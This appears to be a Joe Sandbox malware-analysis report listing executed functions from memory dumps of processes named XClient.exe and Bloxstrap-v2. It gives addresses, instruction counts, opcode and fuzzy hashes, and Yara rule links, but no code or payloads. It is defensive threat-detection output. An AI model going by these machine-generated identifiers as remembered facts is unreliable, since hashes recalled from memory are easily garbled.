Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 56c250612f35c3fb9127b87dd803f086150ec2e21ac017bcef7d3a9efeff0e2b
Instruction ID: c00e6a7b7a85677e8311e1df8ab5c79dd73aa0f2b2a94ff11ed2ccc723379d9b
Opcode Fuzzy Hash: 56c250612f35c3fb9127b87dd803f086150ec2e21ac017bcef7d3a9efeff0e2b
Instruction Fuzzy Hash: A0113020F1960282FA54BB22AD4413DA293FF447A0F88463CD9AE277D5DE3CA8418E60

Analysis Process: XClient.exePID: 6188, Parent PID: 6972COMMON

Executed Functions

Function 00007FFD9B896366 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f15ee4b88cdf97ba378760837fe43cd416d96fbdfce5bee0d7e604aae7b51a9e
Instruction ID: 0e2905a4009f262c2ab3ee26c15d7a2ee900dfe8619d41ee3badec326e07ca51
Opcode Fuzzy Hash: f15ee4b88cdf97ba378760837fe43cd416d96fbdfce5bee0d7e604aae7b51a9e
Instruction Fuzzy Hash: 52F1D670A09A8D8FEFA9DF28C8557E93BE1FF59350F04426EE84DC7295CB3499418B81

Function 00007FFD9B897522 Relevance: .5, Instructions: 460COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b190669feb7fda1baf02afe8c12bd1354e6dd4571cc3fdc2c92a63109cac984a
Instruction ID: d74cae908587f0855c4b5c9f5cc32c953069a1f4fce79ee1b4ea413447278590
Opcode Fuzzy Hash: b190669feb7fda1baf02afe8c12bd1354e6dd4571cc3fdc2c92a63109cac984a
Instruction Fuzzy Hash: DEE1C530A09A4E8FEFA9DF28C8557E97BE1EF58310F04426EE84DC72A5DF7499418781

Function 00007FFD9B890E79 Relevance: 1.5, Strings: 1, Instructions: 267COMMON

Download Yara Rule

Strings

SAN_^, xrefs: 00007FFD9B8910CC

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID: SAN_^
API String ID: 0-3629432999
Opcode ID: aa4fd11d12140fe89cefd40a354ce458bb9f1d3a5410fbaff5b3d0d3a848fed6
Instruction ID: 8af952d34d23284f055a2dbe8b5cc2a185a03057b5885c4c8bab6412b8748c19
Opcode Fuzzy Hash: aa4fd11d12140fe89cefd40a354ce458bb9f1d3a5410fbaff5b3d0d3a848fed6
Instruction Fuzzy Hash: 48918531B1A90D5FEBA8F77894796A97BE2FF89304F8104B8E40EC32D6DD286D418741

Function 00007FFD9B8982D1 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

d, xrefs: 00007FFD9B898343

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 70c9fbd6d53600e9d537c77543296725ba4b89dc756cba854f4c552e719ee09e
Instruction ID: e092e7b1cc38cbf6404ce157be9ea8229be495f2020871c79a934260a7b1c1ea
Opcode Fuzzy Hash: 70c9fbd6d53600e9d537c77543296725ba4b89dc756cba854f4c552e719ee09e
Instruction Fuzzy Hash: FC21D431D0D29A8FEF109BE4C8256EDBFE0EF4A354F0601BBD449D31A2DB2C99458791

Function 00007FFD9B891AED Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

SAN_^, xrefs: 00007FFD9B891B36

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID: SAN_^
API String ID: 0-3629432999
Opcode ID: 8870da695219a6b2a38bd774de6bc6501ecd38c4676ba42cef882ac423e0ebe7
Instruction ID: 3ccc77f53fde8142e20293e0dbae97f78fac5050fa4c1932ca86386f949176cd
Opcode Fuzzy Hash: 8870da695219a6b2a38bd774de6bc6501ecd38c4676ba42cef882ac423e0ebe7
Instruction Fuzzy Hash: D611E721F0F6C65FF726A37848315692FA3AF8B610F4A01F9D058C75E7ED2DA9058392

Function 00007FFD9B891B58 Relevance: 1.3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

Strings

SAN_^, xrefs: 00007FFD9B891B36

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID: SAN_^
API String ID: 0-3629432999
Opcode ID: 87edac71fc9e1e2193988e6f9ef370f9ee069c573050ac7e615ca0a869d9c057
Instruction ID: 1bdc79406116c56bc22c34401ede92edd46caed44eeca4965cf1a29436b21b71
Opcode Fuzzy Hash: 87edac71fc9e1e2193988e6f9ef370f9ee069c573050ac7e615ca0a869d9c057
Instruction Fuzzy Hash: 23F0D131F0D44AABEB75E764C4616797BA3AF99720F4606B4D01DC31E1EF28B502C780

Function 00007FFD9B891BE0 Relevance: .4, Instructions: 350COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d23f41687aac0ea9d5d3cd98a686fb8a727a190825d5971fc3164b50bad5fe3
Instruction ID: 111e647d4f5d8a68b5dbd2aa83a0cd103bebba53b0a8d38676981d20affcd0e5
Opcode Fuzzy Hash: 7d23f41687aac0ea9d5d3cd98a686fb8a727a190825d5971fc3164b50bad5fe3
Instruction Fuzzy Hash: 19A11962F1DD0D0BEBACEB6C54396B966D2EF8D350F5402BAE05ED32D6DE286D024341

Function 00007FFD9B8927E9 Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fc1d38d1f70eac914fdcfe48f218dc2ff0b9fdd0bdc0f7a7d189420b3d50748
Instruction ID: 1353cfa76ff1dc0cef7d960f2d72054bb0083cf7c73395e8760b11c6eb7e671f
Opcode Fuzzy Hash: 1fc1d38d1f70eac914fdcfe48f218dc2ff0b9fdd0bdc0f7a7d189420b3d50748
Instruction Fuzzy Hash: EEA11A62B1DD4D0FEBACEB6C54786B96BD2EF89350F5402BAD05EC32D6DD286D028341

Function 00007FFD9B897136 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 780dc19dd06b3b4d3ebd58e53d754b45fc55d41af2f0d5d0f1feeea2454091db
Instruction ID: 71b488c6b4fed161462b9f86e024c76e9c1d699da5148f23ca2b11f15ad1d747
Opcode Fuzzy Hash: 780dc19dd06b3b4d3ebd58e53d754b45fc55d41af2f0d5d0f1feeea2454091db
Instruction Fuzzy Hash: 99B1C53060DA8D4FDF69DF28C8557E93BE1EF59310F44426EE84DC72A6CB3499458B82

Function 00007FFD9B892BE5 Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea4b7f5c32e5dde6f47829124f39e92ef4887d063ee2345b781df94b529467e2
Instruction ID: b73703af7ef8480cbcc8dd174ecb56f0442365448b037eedfe60cc5e8fe6f39c
Opcode Fuzzy Hash: ea4b7f5c32e5dde6f47829124f39e92ef4887d063ee2345b781df94b529467e2
Instruction Fuzzy Hash: 8CA1D6607189499BEB59F7AC9875BB9B7D3FF99300F5005B6E019C32DBDD28B8028352

Function 00007FFD9B898DAD Relevance: .3, Instructions: 282COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 102ac31c4b936d1206825c046184762227e7fcd6219a8b7ad01d2a26f46148f6
Instruction ID: 4a3026c1114cbdda7a08291b898086df57394127203d314efa2a58e9f6540721
Opcode Fuzzy Hash: 102ac31c4b936d1206825c046184762227e7fcd6219a8b7ad01d2a26f46148f6
Instruction Fuzzy Hash: 34812931B0994D4FDB68EB789869AF97BE1EF49350F0501BAD01DD32E2CE2869428741

Function 00007FFD9B897E6C Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa50f03cf70d076c1d28aeecfb7cbe569268d363d20d9d82b56f16291789d3f1
Instruction ID: df40cd8dbbacbae4624b590187fe2b7d794a53cf0d4ae5c28cd2d8da4856b2fd
Opcode Fuzzy Hash: fa50f03cf70d076c1d28aeecfb7cbe569268d363d20d9d82b56f16291789d3f1
Instruction Fuzzy Hash: 6641CC97B0F9C90FEF5597A818372AD2F91FF95B44B0900B7D498C71A7DB185E064382

Function 00007FFD9B8905A0 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b77aa4464955a53d3b99c1786846346ee273725345386396acf31629c0e9d8b
Instruction ID: b2a15003734af1bcab62fef50fcee7f671d34bcb1a6b45937a049dec6944ebb7
Opcode Fuzzy Hash: 8b77aa4464955a53d3b99c1786846346ee273725345386396acf31629c0e9d8b
Instruction Fuzzy Hash: BA613A32F1990E0FEB58E76C98656BD77E2EF88754F44017AE01DD32EADD286D428381

Function 00007FFD9B891C20 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a8dc82218701dad35615f2fedcc3b60190270bca3c072eec7845f7dd7ecb024
Instruction ID: e2632f212c6d71c73ca3029257d9bc1aebc4e8b6cc5dc2227128ddc06fd96052
Opcode Fuzzy Hash: 6a8dc82218701dad35615f2fedcc3b60190270bca3c072eec7845f7dd7ecb024
Instruction Fuzzy Hash: B3710621F0E64F0FEB69A77488655A57FD0EF49350F0502BAD019C70E7DD2C694B8392

Function 00007FFD9B897F48 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff32a9f8b50c91d53144f81703dbd718075a6d349fa40dd660e1817d05c92745
Instruction ID: 555c51a32b77b458d39353469d9f6e6ebc01fe4eecd9ee862f6cacd4ef635666
Opcode Fuzzy Hash: ff32a9f8b50c91d53144f81703dbd718075a6d349fa40dd660e1817d05c92745
Instruction Fuzzy Hash: 0A01D832B19E9D4FEBA1EB6C98255AD7BE1FF89324B0501B7D00DC3296DE145D4247C2

Function 00007FFD9B8983BD Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15d18ea1c2fded7ca8782c976001f52751c1c5c73159fce82ce9851c2959609b
Instruction ID: 2e5c79b3734a354ff9e646b34571c2c7358adc94f9ea458892c6225bc038f0b3
Opcode Fuzzy Hash: 15d18ea1c2fded7ca8782c976001f52751c1c5c73159fce82ce9851c2959609b
Instruction Fuzzy Hash: BB519330A08A0D8FDB98DF58D855BEDBBF1FF58310F1042AED44DD3296DA34A9468B81

Function 00007FFD9B898E00 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c67b8c76dcc7bd47847fab6e1063e63b459da2f2a4fa0a47b638635117d68b23
Instruction ID: a776b651e3707062952ad374c680abcad31c83843f9154bd77387e10a7581a68
Opcode Fuzzy Hash: c67b8c76dcc7bd47847fab6e1063e63b459da2f2a4fa0a47b638635117d68b23
Instruction Fuzzy Hash: 7051C531B1890D4FEFA8EB68C4A9AB9B7E2EF9C310F450579D01ED32A5CE24AD418741

Function 00007FFD9B890550 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2781c114669da8b1b1ab1b020fb3ddfb82a7dc808a29a6b4c8004b3f7eac82dc
Instruction ID: 2f3eda5e92586f8470a4cdf6088486c83c858e1004f1ebb7712175b0eb141032
Opcode Fuzzy Hash: 2781c114669da8b1b1ab1b020fb3ddfb82a7dc808a29a6b4c8004b3f7eac82dc
Instruction Fuzzy Hash: 68512631A0D64D8FEB28DFA8D815AB97BE0EF5A310F0441BED009C31E2DB28A456C741

Function 00007FFD9B893C5C Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27234b328bff7179ef2da9e7dde198086bb59f044cc84aded92eec494abba19e
Instruction ID: 661586f6f4e174a1249b993909e0caaa33175cf68f2ffc499b0cd4d4909acf4e
Opcode Fuzzy Hash: 27234b328bff7179ef2da9e7dde198086bb59f044cc84aded92eec494abba19e
Instruction Fuzzy Hash: 92518431908A0C8FDF68DB58D855BE9BBF1FF59310F1082AAD44DD3292DE34A9858F81

Function 00007FFD9B892538 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a0e66dcf4544c7cd1429468e8615b1fa1111b5a0e01d91d267d199edd27c03e
Instruction ID: e41bfcd0f00792a2e21915005d5507ce20e2ff92b1afeba3480f9046d3847fa9
Opcode Fuzzy Hash: 8a0e66dcf4544c7cd1429468e8615b1fa1111b5a0e01d91d267d199edd27c03e
Instruction Fuzzy Hash: 13514B30A0D6894FEB5ADBB448316A57FD1EF16320F1902EAD059C71E7DE2CA842C751

Function 00007FFD9B891C08 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 011dbf0b5a542b4b55d034321b87701596073abbbdcd153af58062607494e381
Instruction ID: 20ca37ef2f33870696c8bd333904536a26ba72c6b31fd0f483ecad5b384fa365
Opcode Fuzzy Hash: 011dbf0b5a542b4b55d034321b87701596073abbbdcd153af58062607494e381
Instruction Fuzzy Hash: 5351B330F1980E9FEBA8EB68D865ABD77E1FF88355F400175E00DD32D6CE28A9428741

Function 00007FFD9B892290 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecb50b3e95ae78c5afa18c15097b16d5146c3a0db7ece78688eaa4fd31cac0cb
Instruction ID: ace07f3afb21cde4cc16d1a24a754c4df62eb5eade4eccd72f8766fe639f757a
Opcode Fuzzy Hash: ecb50b3e95ae78c5afa18c15097b16d5146c3a0db7ece78688eaa4fd31cac0cb
Instruction Fuzzy Hash: E251C474A09A5D8FEB68EFA8D469AA97BE1FF55311F00017ED00AC36A1CB75E841CB41

Function 00007FFD9B890BFE Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e6c3da3989d3538b17340d5136f2bb5e972c25d0e27b594586a1ab9e1fb6f53
Instruction ID: 0f3bfe039323170a2fce8ebef5c9fac77054c1e02243e416cb52e4c22731f7fa
Opcode Fuzzy Hash: 9e6c3da3989d3538b17340d5136f2bb5e972c25d0e27b594586a1ab9e1fb6f53
Instruction Fuzzy Hash: 2C410B11F1DA890FF7A5A77C48295753BD2DF8A618B4900FBD45DC72EBDD18AC428342

Function 00007FFD9B891C48 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89531db84c66de4eb04a27958d0530d21fa4b029907b970a3969f1aef0f85e9d
Instruction ID: 811c8cfb9b73a07814344ef053d2800074ca4200c21fea0dfa31a38682d5a5ee
Opcode Fuzzy Hash: 89531db84c66de4eb04a27958d0530d21fa4b029907b970a3969f1aef0f85e9d
Instruction Fuzzy Hash: 6541B174A09A1D8FDF68EF98D469AA977E1FF59311F00017ED00AC36A1CB71E941CB41

Function 00007FFD9B898721 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 847b473b08058c435b29fed5353550a33c3e66121e9565d122045a1ad7b27ec2
Instruction ID: c234a002bd73dc61bbf39714cac5d89c7cce9bb2fd6acfc876addf00193ece0b
Opcode Fuzzy Hash: 847b473b08058c435b29fed5353550a33c3e66121e9565d122045a1ad7b27ec2
Instruction Fuzzy Hash: E541E431B0994E8FDF95EBA888696BD7BF1FF5D351B0401BAD40DD32A2DF2898428750

Function 00007FFD9B891BD8 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d0d11a8dadb6ef02953f6cf12e3325554f0f86a95ec205aff7153a3cfb68e39
Instruction ID: 56202f8652c118cdd423da723ed6913bd01b97fa255f655c01640e443544c272
Opcode Fuzzy Hash: 8d0d11a8dadb6ef02953f6cf12e3325554f0f86a95ec205aff7153a3cfb68e39
Instruction Fuzzy Hash: D641B430F0990D8BDFA8EBA88474AB977E1EF58324F55017DE01ED32D6DE28A941C741

Function 00007FFD9B890A91 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9df1388efb300a75f5316be27f0fe5df42c6b6f7670a379e40e88db46f15302
Instruction ID: 831efbe208a0d70dcd17c9fb978f4737019fd178ee3acd96f50bc91b574d17bc
Opcode Fuzzy Hash: e9df1388efb300a75f5316be27f0fe5df42c6b6f7670a379e40e88db46f15302
Instruction Fuzzy Hash: D031F751B299594FEB58ABBC5C697BD77D1EF98701F0442BBE00CC32D7DE18A9014382

Function 00007FFD9B891C10 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8ca336a97b9eb44c8b5266f572d4bab33ce64fb2fa27b4429c3b679c9a16781
Instruction ID: 8f51dd337bebbd2ffba4a2ae62f000e861cdbc59c4c654fce1bea324dbcaf4e2
Opcode Fuzzy Hash: a8ca336a97b9eb44c8b5266f572d4bab33ce64fb2fa27b4429c3b679c9a16781
Instruction Fuzzy Hash: 65319171B0990D8FEF98EB6C84696BD77E1EF9C351B40017AD40EE32A1DE38A9428740

Function 00007FFD9B890949 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3637716298cd98c57cc6029ebf8966ee28fcad0e3005aaddc8a0fe8849740cc8
Instruction ID: 03cda4eb0922bb1b9ce9b5955cfdc43bd8bf328c8f0c66531c8c7b6fc0a97110
Opcode Fuzzy Hash: 3637716298cd98c57cc6029ebf8966ee28fcad0e3005aaddc8a0fe8849740cc8
Instruction Fuzzy Hash: 9E31A730B58A0E4FDB58EBA8D875AED7BE2FF59300F9005B9D019D32C6DE3869418741

Function 00007FFD9B890AB0 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 366bcadea9134fecf8087397e96ebb48c0b2f0ab57b837965790d7ba291bde3a
Instruction ID: b1fef1202fad2c41062302a51c0573bec639e9a24f55a3b451f3da387a82229e
Opcode Fuzzy Hash: 366bcadea9134fecf8087397e96ebb48c0b2f0ab57b837965790d7ba291bde3a
Instruction Fuzzy Hash: 0331C751F28D094BEB98BBBC58697BD66D2EF9C745F40017AE01DC32DADD18A9014381

Function 00007FFD9B891365 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e6b5a81117651f7628960cfa3d9f2ee5d111568bf715884c0d107d544d7437c
Instruction ID: 02312c5f1beaaca1a7f8f3a48cc00493461e5669f94d26a0fdc4092042852a77
Opcode Fuzzy Hash: 8e6b5a81117651f7628960cfa3d9f2ee5d111568bf715884c0d107d544d7437c
Instruction Fuzzy Hash: C0318420B1C9494FEB88EB2C9869778B6D2EF9C315F4445BEE05EC32DBDD689C428741

Function 00007FFD9B899595 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8154114fcc599eaabdd13a8431f213b7b8f431b3ed65e82cf4bb106d99a62512
Instruction ID: f0455689f6334d6a3226859be7650ea2d9aca113c2ab8fdeb997405a49e77e85
Opcode Fuzzy Hash: 8154114fcc599eaabdd13a8431f213b7b8f431b3ed65e82cf4bb106d99a62512
Instruction Fuzzy Hash: D531903150D7888FDB19DFA8D84AAE9BBF0EF56320F0482AFD089C7552D764A406CB51

Function 00007FFD9B8985E9 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2a642a0334d187e7de620e9db6e397ae805a22cbb35748282518a7ef95c77f2
Instruction ID: f2c40e216b40fc21e085790b5a35649ed58e78d445f0d6c571c4e5c042aa41fe
Opcode Fuzzy Hash: d2a642a0334d187e7de620e9db6e397ae805a22cbb35748282518a7ef95c77f2
Instruction Fuzzy Hash: CA31DB70A0DA8A8FDB57EB7CC4665697BE0FF5A344B4501FAD048C72A6DE28B842C741

Function 00007FFD9B89116D Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4416692135.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b890000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 456e55ddf2832c32f577388f7efce05e457b6c61bcac0397ad765cf9d601c026
Instruction ID: f1d8c68cf4a97937747e1eb8afca3a014598f292c4395f219f67dd73ccb86c65
Opcode Fuzzy Hash: 456e55ddf2832c32f577388f7efce05e457b6c61bcac0397ad765cf9d601c026
Instruction Fuzzy Hash: DB213712B1DD8A1BEBA4F76C18642BCABC2EF985A474402FEC09DC31EBDD1469064381

Function 00007FFD9B8993A1 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

